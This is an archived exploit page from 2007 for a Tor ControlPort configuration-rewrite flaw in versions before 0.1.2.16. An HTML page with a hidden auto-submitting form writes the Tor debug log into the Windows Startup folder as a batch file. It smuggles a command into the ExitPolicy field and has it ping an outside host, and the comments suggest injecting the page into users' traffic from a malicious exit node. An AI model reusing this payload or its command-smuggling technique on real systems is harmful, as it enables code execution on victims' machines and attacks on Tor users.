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# Title : Tor < 0.1.2.16 ControlPort Remote Rewrite Exploit
# Published : 2007-09-29
# Author : elgCrew
# Previous Title : Borland Interbase 2007, 2007SP2 INET_connect Buffer Overflow
# Next Title : smbftpd 0.96 SMBDirList-function Remote Format String Exploit
<!--
Tor < 0.1.2.16 with ControlPort enabled ( not default )
Exploit for Tor ControlPort "torrc" Rewrite Vulnerability http://secunia.com/advisories/26301
Rewrites the torrc to log to a different location: C:Documents and SettingsAll UsersStart MenuProgramsStartupt.bat
Also enables debug logging, and an erroneous ExitPolicy looking something like this: reject*:1337'&' calc.exe this will output:
[debug] parse_addr_policy(): Adding new entry 'reject*:1337'& calc.exe to the debug log -> t.bat which will run calc.exe on next boot.
This is not very silent though, t.bat will contain something like 45 rows of crap which the user will see in about 1 sec, drop me a mail if you have a better way.
Either have a TOR user visit this HTML or inject it into her traffic when you're a TOR exit.
If you inject, just replace </HEAD> with everything in <HEAD> + </HEAD> ( that's why I tried to fit everything inside <HEAD />), and fix Content-Length
// elgCrew _AT_ safe-mail.net
-->
<html>
<head>
<script language="javascript">
window.onload = function()
{
cmd = 'cls & echo off & ping -l 1329 my.tcpdump.co -n 1 -w 1 > NUL & del t.bat > NUL & exit';
inject = 'rnAUTHENTICATErnSETCONF Log="debug-debug file C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\t.bat"rnSAVECONFrnSIGNAL RELOADrnSETCONF ExitPolicy="reject*:1337\'&' + cmd + '&"rnSETCONF Log="info file c:\\tor.txt"rnSAVECONFrnSIGNAL RELOADrn';
form51.area51.value = inject;
document.form51.submit();
}
</script>
<form target="hiddenframe" name="form51" action="http://localhost.mil.se:9051" method=POST enctype="multipart/form-data">
<input type=hidden name=area51>
</form>
<iframe width=0 height=0 frameborder=0 name="hiddenframe"></iframe>
</head>
<body>
<pre>
----
| y0! |
----
__ _/_/
(oo)_______
|_| )*
||----w |
|| ||
</pre>
</body>
</html>
# www.Syue.com [2007-09-29]